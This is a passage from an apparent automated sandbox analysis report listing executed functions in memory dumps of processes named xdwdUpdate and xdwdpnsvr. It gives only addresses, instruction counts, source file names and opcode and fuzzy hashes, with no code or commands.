                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 822f43291bf8ba89e9bc7d8b51b664ffaf38e665d18ce971e484ac9a813ec2fa
                                                                                                                                                                            • Instruction ID: 9ebb05738b5fcccd7407339f38e22ca972c0ff11d2743c94e30f377caa7b28a0
                                                                                                                                                                            • Opcode Fuzzy Hash: 822f43291bf8ba89e9bc7d8b51b664ffaf38e665d18ce971e484ac9a813ec2fa
                                                                                                                                                                            • Instruction Fuzzy Hash: C4D05E17B34C6B059605AB9DB4520F8A385F6C61F32908673EA41E22A65251746BC2E2

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7C86E8 Relevance: 1.6, Strings: 1, Instructions: 372COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: {>
                                                                                                                                                                            • API String ID: 0-3919259914
                                                                                                                                                                            • Opcode ID: e3c3d07ab7326fbbf70a4003e2c29494b83d6ea1d22e3599908d2ac2dcac8b2c
                                                                                                                                                                            • Instruction ID: eac213ac29b3ec86293804637f05f93c00428dbfaf26ab8124d124b847d59d59
                                                                                                                                                                            • Opcode Fuzzy Hash: e3c3d07ab7326fbbf70a4003e2c29494b83d6ea1d22e3599908d2ac2dcac8b2c
                                                                                                                                                                            • Instruction Fuzzy Hash: 38C1D22993E6DE8FE756937898562F43BA09F56310F0901BAD488CB1F3FD0C785A8352
                                                                                                                                                                            Function 00007FFE6F7C32F0 Relevance: .4, Instructions: 407COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2a338d0a0833b297b2a23d61b7b38071bf7afbfaa83f5e88426d9c5d2458ff8c
                                                                                                                                                                            • Instruction ID: 9cc28d14a9570631d9bc2cb6a2b5c6226f92f409f6542c16171ce6d070d77a17
                                                                                                                                                                            • Opcode Fuzzy Hash: 2a338d0a0833b297b2a23d61b7b38071bf7afbfaa83f5e88426d9c5d2458ff8c
                                                                                                                                                                            • Instruction Fuzzy Hash: 75D14069D3E2DE8EF7A7572498121F53B604F22354F5541FAC489CB1E3F90D790A83A2
                                                                                                                                                                            Function 00007FFE6F7C32E0 Relevance: .2, Instructions: 203COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 48c089a9d14383dc36108f6885b95ff1064ec0bbca1f7e75fe9943dfbacf57de
                                                                                                                                                                            • Instruction ID: c5d53f729f0dfdddd9b8e75933679fd8e220a04f2d28f9caed9392769ce54110
                                                                                                                                                                            • Opcode Fuzzy Hash: 48c089a9d14383dc36108f6885b95ff1064ec0bbca1f7e75fe9943dfbacf57de
                                                                                                                                                                            • Instruction Fuzzy Hash: A2615838E3E0DF8DFBFA9328D4075FA76409B51315F502639C84CC60E1BE1DB95A4192
                                                                                                                                                                            Function 00007FFE6F7C16B4 Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2N_^
                                                                                                                                                                            • API String ID: 0-1477193498
                                                                                                                                                                            • Opcode ID: 21ac4362d8c61f847ce4ac215bf1803ab0579e53a025bb3e97dcaf84769d4d79
                                                                                                                                                                            • Instruction ID: a296f819fe6a57d941f5ae38d6c7de3d7c4a09d2c3ddacbedf2c48e94a05ff30
                                                                                                                                                                            • Opcode Fuzzy Hash: 21ac4362d8c61f847ce4ac215bf1803ab0579e53a025bb3e97dcaf84769d4d79
                                                                                                                                                                            • Instruction Fuzzy Hash: CB213029E3E49F89FF68A22998063FA31418F54355F545678E44CC21F3FE8C741A42D2
                                                                                                                                                                            Function 00007FFE6F7C1678 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2N_^
                                                                                                                                                                            • API String ID: 0-1477193498
                                                                                                                                                                            • Opcode ID: d35b6ae84f4010946bfe89e71d1285846b00a5b11e35f71ae0429376ab4985ba
                                                                                                                                                                            • Instruction ID: 7d21d684c9d218e6a63476dc7ba423e1e26de7689690411f28e76ac297463e1d
                                                                                                                                                                            • Opcode Fuzzy Hash: d35b6ae84f4010946bfe89e71d1285846b00a5b11e35f71ae0429376ab4985ba
                                                                                                                                                                            • Instruction Fuzzy Hash: 4511061DD3F0CFC8FBA8A32699062F936005F59746F545678C48C820F2BE8C741A4292
                                                                                                                                                                            Function 00007FFE6F7CA173 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: L
                                                                                                                                                                            • API String ID: 0-2909332022
                                                                                                                                                                            • Opcode ID: 0080751964c07214c193168adab331e3dc1edd3297511cf3245936935efe0f4e
                                                                                                                                                                            • Instruction ID: c3a7a4adaa9634df7f3a8576e9900cbcb2f211427c687500a205d1924408e5d3
                                                                                                                                                                            • Opcode Fuzzy Hash: 0080751964c07214c193168adab331e3dc1edd3297511cf3245936935efe0f4e
                                                                                                                                                                            • Instruction Fuzzy Hash: AF012D34D39A6E8EE758AB28D8902F872A1FF48711F94417CE44ED72E7DE39AC41C644
                                                                                                                                                                            Function 00007FFE6F7C1627 Relevance: 1.3, Strings: 1, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2N_^
                                                                                                                                                                            • API String ID: 0-1477193498
                                                                                                                                                                            • Opcode ID: 1e49d47175e4d9f6500e35069496ef1692c16b6fe46d9afc5a046db3655e91e1
                                                                                                                                                                            • Instruction ID: 3621924793e140337b67e7ba0c259b1175360bb841c8f3ea96da3628699c85a9
                                                                                                                                                                            • Opcode Fuzzy Hash: 1e49d47175e4d9f6500e35069496ef1692c16b6fe46d9afc5a046db3655e91e1
                                                                                                                                                                            • Instruction Fuzzy Hash: 43D0C90A61A9E60FD601AA6CB4F55E97B51EF9227974840B7D2C5A91B3AE08204682CA
                                                                                                                                                                            Function 00007FFE6F7C248C Relevance: 1.0, Instructions: 1047COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 90a202d4fed71da11d263500c9980953ea133a25aff1c66cb8df684b0d87e8ce
                                                                                                                                                                            • Instruction ID: 39cd00ac715da4ae5777857b6dcf50ab0307c5be49d8a9f10ab6a7a9a496f6e3
                                                                                                                                                                            • Opcode Fuzzy Hash: 90a202d4fed71da11d263500c9980953ea133a25aff1c66cb8df684b0d87e8ce
                                                                                                                                                                            • Instruction Fuzzy Hash: 32726B25F3D99E8EF794BB38C4556BD3692AF88351F910874E00ED72E2ED2CB8428741
                                                                                                                                                                            Function 00007FFE6F7CF9C8 Relevance: .7, Instructions: 654COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 587a538bf65b3962989adb79a941c0dd349a74405268b682f9c96228b533f072
                                                                                                                                                                            • Instruction ID: 4f78878851a713e707e9b605897fd0097824ae5e085c3b4699cc2ba7af54ea3f
                                                                                                                                                                            • Opcode Fuzzy Hash: 587a538bf65b3962989adb79a941c0dd349a74405268b682f9c96228b533f072
                                                                                                                                                                            • Instruction Fuzzy Hash: 2691B535E3D49E8EF759A72C98122F936809F59310F140179E45ED72E3FD1CBC068296
                                                                                                                                                                            Function 00007FFE6F7CD6AA Relevance: .5, Instructions: 529COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f22d823f4a74b4adfa74990cdb9e4b916286eaea247de9b2a43ece54fd1b1b6a
                                                                                                                                                                            • Instruction ID: 04ecc5545ed1a9949848d9a922c44c75204f00097b9850b41680c7e9d3b0bea5
                                                                                                                                                                            • Opcode Fuzzy Hash: f22d823f4a74b4adfa74990cdb9e4b916286eaea247de9b2a43ece54fd1b1b6a
                                                                                                                                                                            • Instruction Fuzzy Hash: 0DF1C621EBD6CA4FE756A77C88162A977D29F59310F0905B6D04DC72F3FC2CA8468352
                                                                                                                                                                            Function 00007FFE6F7C26CC Relevance: .5, Instructions: 469COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2e652e6075734c16e1a2435d0f1fdc1437cd8fe7f49a7a412dbeaa0a31cb47ce
                                                                                                                                                                            • Instruction ID: 41a4a47fb82cdd1fb6c2602e177e845bc6b22f1ef916f02a00ee1f6a0b924ad5
                                                                                                                                                                            • Opcode Fuzzy Hash: 2e652e6075734c16e1a2435d0f1fdc1437cd8fe7f49a7a412dbeaa0a31cb47ce
                                                                                                                                                                            • Instruction Fuzzy Hash: 2AF11D25F3989E8EF794BB3CC4556BE2192AB98390F910474E40ED72E6ED3CB8428741
                                                                                                                                                                            Function 00007FFE6F7CD57D Relevance: .4, Instructions: 389COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bfd6567387de2b509acde914c94a874818489e07112a14fa104df60389494963
                                                                                                                                                                            • Instruction ID: 8ba8ea2672083c3b741d2594b8c5376c750da5af57643ef83ab76bd0907b9a07
                                                                                                                                                                            • Opcode Fuzzy Hash: bfd6567387de2b509acde914c94a874818489e07112a14fa104df60389494963
                                                                                                                                                                            • Instruction Fuzzy Hash: 63C19F26EBD49E4FEB99B73C88162F971C2AB98315F550574E40DC32E2FD2CB8478281
                                                                                                                                                                            Function 00007FFE6F7CE280 Relevance: .4, Instructions: 384COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e8277f9cbb80575ed1e994ef717f3f79a365f42f6042526604b7285cd2a3e394
                                                                                                                                                                            • Instruction ID: 55e0b990f0e7018fd70a77a34b6692f8b163724eeabcc5db0c43f5a8b1efcc28
                                                                                                                                                                            • Opcode Fuzzy Hash: e8277f9cbb80575ed1e994ef717f3f79a365f42f6042526604b7285cd2a3e394
                                                                                                                                                                            • Instruction Fuzzy Hash: 4EC1A32592E6CE8FE756A76848172F93B919F56310F0901BAE049C71F3FD1CB80A8392
                                                                                                                                                                            Function 00007FFE6F7CC575 Relevance: .2, Instructions: 236COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fc59f69d0a7ea9fa6a10fdfa6485d46f0852ae21d47a5fe95a2354d1b230eb54
                                                                                                                                                                            • Instruction ID: a20c20dd74c82bec64ea20df34b02ce96d8ca405e76f3d5336bc899fd1476331
                                                                                                                                                                            • Opcode Fuzzy Hash: fc59f69d0a7ea9fa6a10fdfa6485d46f0852ae21d47a5fe95a2354d1b230eb54
                                                                                                                                                                            • Instruction Fuzzy Hash: AE71AF35D3E6CDCFEB65AB2888066F97BA1EF5A301F44017AD04AD71E2FE2878418351
                                                                                                                                                                            Function 00007FFE6F7C446C Relevance: .2, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 84c87ed8e8603c2281c2b8045d7eb8bef0bc47375126ab20e10fd88f5d3387f3
                                                                                                                                                                            • Instruction ID: d6caf92fb38f707284c233e861fb14b9f89bd6840acdabfd8de09ef09332d729
                                                                                                                                                                            • Opcode Fuzzy Hash: 84c87ed8e8603c2281c2b8045d7eb8bef0bc47375126ab20e10fd88f5d3387f3
                                                                                                                                                                            • Instruction Fuzzy Hash: D6519231918A5C8FDB58DF58D845BE9BBF1FF59310F1082AAD04DE3252DE34A984CB81
                                                                                                                                                                            Function 00007FFE6F7C1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: eff9ed7c2219c4a648448790a7b1f2d658995438e9bfa8f471e6ab1a1db37e24
                                                                                                                                                                            • Instruction ID: 63e679e3bcf43752d1a56e6576b5817f93e227e5b880be22c83ea20a55480bd1
                                                                                                                                                                            • Opcode Fuzzy Hash: eff9ed7c2219c4a648448790a7b1f2d658995438e9bfa8f471e6ab1a1db37e24
                                                                                                                                                                            • Instruction Fuzzy Hash: 64516E55F3D5CF4AF64177BC14262EEAD919F82200BC044B5E5AAE72E7FC2CA8118392
                                                                                                                                                                            Function 00007FFE6F7CC0BF Relevance: .2, Instructions: 191COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 07527ddb713f91ea0b2ca76279854c875b61c63d5c4ef3058a74422332e29f96
                                                                                                                                                                            • Instruction ID: 96b1266e0211407f7cc7df524ecf096a2b2c1b22d44f73213324f0b95358f224
                                                                                                                                                                            • Opcode Fuzzy Hash: 07527ddb713f91ea0b2ca76279854c875b61c63d5c4ef3058a74422332e29f96
                                                                                                                                                                            • Instruction Fuzzy Hash: 32519179D3D5CE8FEBA8DB6898166F87791EF64702F140239C409D72E1FE18B8058681
                                                                                                                                                                            Function 00007FFE6F7C71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ddaa10f2669df9b567903228be0ead3dcf5ff3e88fe2af901f54648fa4a389a0
                                                                                                                                                                            • Instruction ID: 4eaebab72a311934b909196fc5a3caf92ccdce9c0f43ec390eea379a345371d7
                                                                                                                                                                            • Opcode Fuzzy Hash: ddaa10f2669df9b567903228be0ead3dcf5ff3e88fe2af901f54648fa4a389a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 0D517830928A8D8FEBA4DF28D8457E977E1FF54300F10426EE84DC7295DF34A5458B82
                                                                                                                                                                            Function 00007FFE6F7CACEF Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0ffcd54a9545f4db23ec2d956b81121d2682abde9e8490e290605068bbc86c4f
                                                                                                                                                                            • Instruction ID: 29e46970d4b31fbdd57c9a850abdba96a3673fd8b22a60b8b1185631e2c9315a
                                                                                                                                                                            • Opcode Fuzzy Hash: 0ffcd54a9545f4db23ec2d956b81121d2682abde9e8490e290605068bbc86c4f
                                                                                                                                                                            • Instruction Fuzzy Hash: CE512E35A3995D9FEB94FB68C8566FC77E1EF58302F400179E40DD32A2EE28A8458740
                                                                                                                                                                            Function 00007FFE6F7C7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6617e6de1accc7d33fe1ab9c2ee27999a5240e7afb33416716457cc7fb78a351
                                                                                                                                                                            • Instruction ID: ce92187fb26ad686ef2dba7c4f2ea2ba31fc78d6766cade9986991c28885a985
                                                                                                                                                                            • Opcode Fuzzy Hash: 6617e6de1accc7d33fe1ab9c2ee27999a5240e7afb33416716457cc7fb78a351
                                                                                                                                                                            • Instruction Fuzzy Hash: E1519430528A8D8FEB68DF2CC8457E977D1FF58310F148269E85DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7C1888 Relevance: .2, Instructions: 172COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e773fec51ead585c5fe4e002da2c1ce0348df9ca97143ae01cde5363ba373c7f
                                                                                                                                                                            • Instruction ID: 25cc3c032a60f31cec21fdf275e787acb124e23f8d5089a2ee71a0c526487976
                                                                                                                                                                            • Opcode Fuzzy Hash: e773fec51ead585c5fe4e002da2c1ce0348df9ca97143ae01cde5363ba373c7f
                                                                                                                                                                            • Instruction Fuzzy Hash: 0851B435D3A99ECFEF54E718C4162F973A1EF58311F802239D40DD72A5EE28B8558B81
                                                                                                                                                                            Function 00007FFE6F7C351D Relevance: .2, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3346baaf7b33614ca408b4e58f05aae22a5b89257e34fcf1139e2e1eda888f0f
                                                                                                                                                                            • Instruction ID: 142923c53c711c0a7d57bfbdc2fdb4c824839c8c2f1951fc505bedbd3e8226ae
                                                                                                                                                                            • Opcode Fuzzy Hash: 3346baaf7b33614ca408b4e58f05aae22a5b89257e34fcf1139e2e1eda888f0f
                                                                                                                                                                            • Instruction Fuzzy Hash: 39513A9A81E3D94FE7932730A8752D13F754E2725871A40E7C4C6DB2E3E80D5E4AC7A2
                                                                                                                                                                            Function 00007FFE6F7CBF03 Relevance: .2, Instructions: 164COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2e8e4d2de35201b454a2b7c10c3fb5b520234ccee1c40f11bc9b07382c3efdd6
                                                                                                                                                                            • Instruction ID: 9307831825b7174da0cf4c9b27dc455659504f126eb27a7585162fa506a7e25c
                                                                                                                                                                            • Opcode Fuzzy Hash: 2e8e4d2de35201b454a2b7c10c3fb5b520234ccee1c40f11bc9b07382c3efdd6
                                                                                                                                                                            • Instruction Fuzzy Hash: 31517619C3F7CE8EE72653245C611A97BA09F16312F5A01FBD488C71E3EA0D788E8356
                                                                                                                                                                            Function 00007FFE6F7C1795 Relevance: .2, Instructions: 161COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1edec2a19c7f7fc54af67b776c73738837ea6e208c867954c32ceae6502eca5c
                                                                                                                                                                            • Instruction ID: 868e6eeaa7530fddf4627d0d7146c4cf8afa81ffb6e0abb2f338494409d79f51
                                                                                                                                                                            • Opcode Fuzzy Hash: 1edec2a19c7f7fc54af67b776c73738837ea6e208c867954c32ceae6502eca5c
                                                                                                                                                                            • Instruction Fuzzy Hash: A851832052E7CD8FD346A73488692E47FA1EF56314B5901FFD48ADB1E3EE286846C311
                                                                                                                                                                            Function 00007FFE6F7CE015 Relevance: .2, Instructions: 158COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
